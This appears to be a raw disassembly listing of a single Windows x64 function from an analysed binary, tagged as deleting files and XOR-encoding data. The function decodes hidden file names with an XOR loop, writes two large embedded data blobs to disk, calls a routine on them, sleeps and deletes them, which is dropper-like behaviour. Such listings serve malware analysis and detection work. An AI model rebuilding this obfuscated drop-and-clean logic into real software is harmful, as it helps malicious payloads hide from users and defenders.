Function at 0x140037330
Capabilities:
Delete file
Encode data using xor

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x28]
sub rsp, 0x110
mov qword [rbp], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov ecx, reloc.WLDAP32.dll_Ordinal_46
xor edx, edx
call fcn.140035aa0
movzx ebx, ax
mov word [rsp + 0x20], ax
lea ecx, [rdx + 0x73]
lea edx, [rcx - 0x72]
call fcn.140035aa0
mov word [rsp + 0x22], ax
lea ecx, [rdx + 0x78]
lea edx, [rcx - 0x77]
call fcn.140035aa0
mov word [rsp + 0x24], ax
lea ecx, [rdx + 0x71]
lea edx, [rcx - 0x70]
call fcn.140035aa0
mov word [rsp + 0x26], ax
xor ecx, ecx
lea edx, [rcx + 4]
call fcn.140035aa0
movzx edi, ax
mov word [rsp + 0x28], ax
lea edx, [rcx + 5]
movzx ecx, word [0x1400a757a]
call fcn.140035aa0
mov word [rsp + 0x2a], ax
mov edx, 6
movzx ecx, word [0x1400a757c]
call fcn.140035aa0
mov word [rsp + 0x2c], ax
mov edx, 7
movzx ecx, word [0x1400a757e]
call fcn.140035aa0
mov word [rsp + 0x2e], ax
mov edx, 8
movzx ecx, word [str..exe]
call fcn.140035aa0
mov word [rsp + 0x30], ax
xor eax, eax
mov word [rsp + 0x32], ax
xor esi, esi
mov ecx, esi
mov edx, esi
mov r14d, 0x133
lea eax, [r14 + rcx]
xor word [rsp + rdx*2 + 0x20], ax
inc ecx
movsxd rdx, ecx
cmp rdx, 9
jb 0x140037411
mov word [rsp + 0x32], si
mov qword [rsp + 0x78], 7
mov qword [rsp + 0x70], rsi
mov word [rsp + 0x60], si
cmp word [rsp + 0x20], si
jne 0x140037449
mov r8, rsi
jmp 0x14003745c
lea rax, [rsp + 0x20]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], si
jne 0x140037452
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.140049630
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x40]
call fcn.140036e30
nop
mov word [rsp + 0x40], bx
mov ecx, 0x65
lea edx, [rcx - 0x64]
call fcn.140035aa0
mov word [rsp + 0x42], ax
lea ecx, [rdx + 0x77]
lea edx, [rcx - 0x76]
call fcn.140035aa0
mov word [rsp + 0x44], ax
lea ecx, [rdx + 0x63]
lea edx, [rcx - 0x62]
call fcn.140035aa0
mov word [rsp + 0x46], ax
mov word [rsp + 0x48], di
lea edx, [rcx - 0x60]
movzx ecx, word [0x1400a758a]
call fcn.140035aa0
mov word [rsp + 0x4a], ax
mov edx, 6
movzx ecx, word [0x1400a758c]
call fcn.140035aa0
mov word [rsp + 0x4c], ax
mov edx, 7
movzx ecx, word [0x1400a758e]
call fcn.140035aa0
mov word [rsp + 0x4e], ax
mov edx, 8
movzx ecx, word [0x1400a7590]
call fcn.140035aa0
mov word [rsp + 0x50], ax
xor eax, eax
mov word [rsp + 0x52], ax
mov ecx, esi
mov rdx, rsi
nop dword [rax + rax]
lea eax, [r14 + rcx]
xor word [rsp + rdx*2 + 0x40], ax
inc ecx
movsxd rdx, ecx
cmp rdx, 9
jb 0x140037520
mov word [rsp + 0x52], si
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], rsi
mov word [rbp - 0x60], si
cmp word [rsp + 0x40], 0
jne 0x140037556
mov r8, rsi
jmp 0x14003756b
lea rax, [rsp + 0x40]
or r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140037560
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.140049630
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.140036e30
nop
mov ecx, Ordinal_46
xor edx, edx
call fcn.140035aa0
mov word [rsp + 0x60], ax
lea ecx, [rdx + 0x6d]
lea edx, [rcx - 0x6c]
call fcn.140035aa0
mov word [rsp + 0x62], ax
lea ecx, [rdx + 0x60]
lea edx, [rcx - 0x5f]
call fcn.140035aa0
mov word [rsp + 0x64], ax
lea ecx, [rdx + 0x6e]
lea edx, [rcx - 0x6d]
call fcn.140035aa0
mov word [rsp + 0x66], ax
lea ecx, [rdx + 0x1d]
lea edx, [rcx - 0x1c]
call fcn.140035aa0
mov word [rsp + 0x68], ax
xor ecx, ecx
lea edx, [rcx + 5]
call fcn.140035aa0
mov word [rsp + 0x6a], ax
lea edx, [rcx + 6]
movzx ecx, word [0x1400a759c]
call fcn.140035aa0
mov word [rsp + 0x6c], ax
mov edx, 7
movzx ecx, word [0x1400a759e]
call fcn.140035aa0
mov word [rsp + 0x6e], ax
mov edx, 8
movzx ecx, word [str.jaownujewatwzwchoftgvhjzzqoxoyeivt]
call fcn.140035aa0
mov word [rsp + 0x70], ax
mov edx, 9
movzx ecx, word [0x1400a75a2]
call fcn.140035aa0
mov word [rsp + 0x72], ax
mov edx, 0xa
movzx ecx, word [0x1400a75a4]
call fcn.140035aa0
mov word [rsp + 0x74], ax
xor eax, eax
mov word [rsp + 0x76], ax
mov ecx, esi
mov rdx, rsi
nop
lea eax, [r14 + rcx]
xor word [rsp + rdx*2 + 0x60], ax
inc ecx
movsxd rdx, ecx
cmp rdx, 0xb
jb 0x140037660
mov word [rsp + 0x76], si
lea r8, [rbp - 0x40]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.14004ab80
nop
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rcx, rax, 0x64
add rcx, 0x1dcd6500
movabs rbx, 0x112e0be826d694b3
mov rax, rbx
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x20], rdx
imul rax, rdx, 0x3b9aca00
sub rcx, rax
mov dword [rsp + 0x28], ecx
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
mov qword [rsp + 0x58], 7
mov qword [rsp + 0x50], rsi
mov word [rsp + 0x40], si
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.140049780
lea rax, [rsp + 0x40]
mov qword [rbp + 0x30], rax
mov r8d, 0x43718
lea rdx, [0x1400bc670]
lea rcx, [rsp + 0x40]
call fcn.1400371a0
nop
lea rcx, [rsp + 0x40]
test al, al
jne 0x140037768
call fcn.1400349f0
jmp 0x1400378af
call fcn.1400349f0
mov qword [rsp + 0x58], 7
mov qword [rsp + 0x50], rsi
mov word [rsp + 0x40], si
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140049780
lea rax, [rsp + 0x40]
mov qword [rbp + 0x30], rax
mov r8d, 0x4518
lea rdx, [0x1400b8110]
lea rcx, [rsp + 0x40]
call fcn.1400371a0
nop
lea rcx, [rsp + 0x40]
test al, al
jne 0x1400377c9
call fcn.1400349f0
jmp 0x1400378af
call fcn.1400349f0
lea rax, [rbp - 0x60]
mov qword [rbp + 0x30], rax
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], rsi
mov word [rbp - 0x60], si
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x60]
call fcn.140049780
nop
mov qword [rsp + 0x58], 7
mov qword [rsp + 0x50], rsi
mov word [rsp + 0x40], si
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x40]
call fcn.140049780
nop
lea rdx, [rbp - 0x60]
lea rcx, [rsp + 0x40]
call fcn.140037040
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
imul rcx, rax, 0x64
movabs rdx, 0x12a05f200
add rcx, rdx
mov rax, rbx
imul rcx
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov qword [rsp + 0x20], rdx
imul rax, rdx, 0x3b9aca00
sub rcx, rax
mov dword [rsp + 0x28], ecx
movaps xmm0, xmmword [rsp + 0x20]
movdqa xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 8
cmovae rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 8
cmovae rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
movabs rbx, 0x7fffffffffffffff
mov rax, qword [rbp - 8]
cmp rax, 8
jb 0x140037923
inc rax
mov rcx, qword [rbp - 0x20]
cmp rax, rbx
jbe 0x1400378d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
add rax, rax
cmp rax, 0x1000
jb 0x14003791e
test byte [rbp - 0x20], 0x1f
je 0x1400378ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1400378fe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rcx, rax
cmp rcx, 8
jae 0x14003790e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rcx, 0x27
jbe 0x14003791b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rax
call fcn.140054a50
mov qword [rbp - 8], 7
mov qword [rbp - 0x10], rsi
mov word [rbp - 0x20], si
mov rax, qword [rbp - 0x68]
cmp rax, 8
jb 0x14003799d
inc rax
mov rcx, qword [rbp - 0x80]
cmp rax, rbx
jbe 0x140037950
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
add rax, rax
cmp rax, 0x1000
jb 0x140037998
test byte [rbp - 0x80], 0x1f
je 0x140037968
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140037978
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rcx, rax
cmp rcx, 8
jae 0x140037988
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rcx, 0x27
jbe 0x140037995
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rax
call fcn.140054a50
mov qword [rbp - 0x68], 7
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
mov rax, qword [rbp - 0x28]
cmp rax, 8
jb 0x140037a16
inc rax
mov rcx, qword [rbp - 0x40]
cmp rax, rbx
jbe 0x1400379ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
add rax, rax
cmp rax, 0x1000
jb 0x140037a11
test cl, 0x1f
je 0x1400379e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1400379f1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rcx, rax
cmp rcx, 8
jae 0x140037a01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rcx, 0x27
jbe 0x140037a0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rax
call fcn.140054a50
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret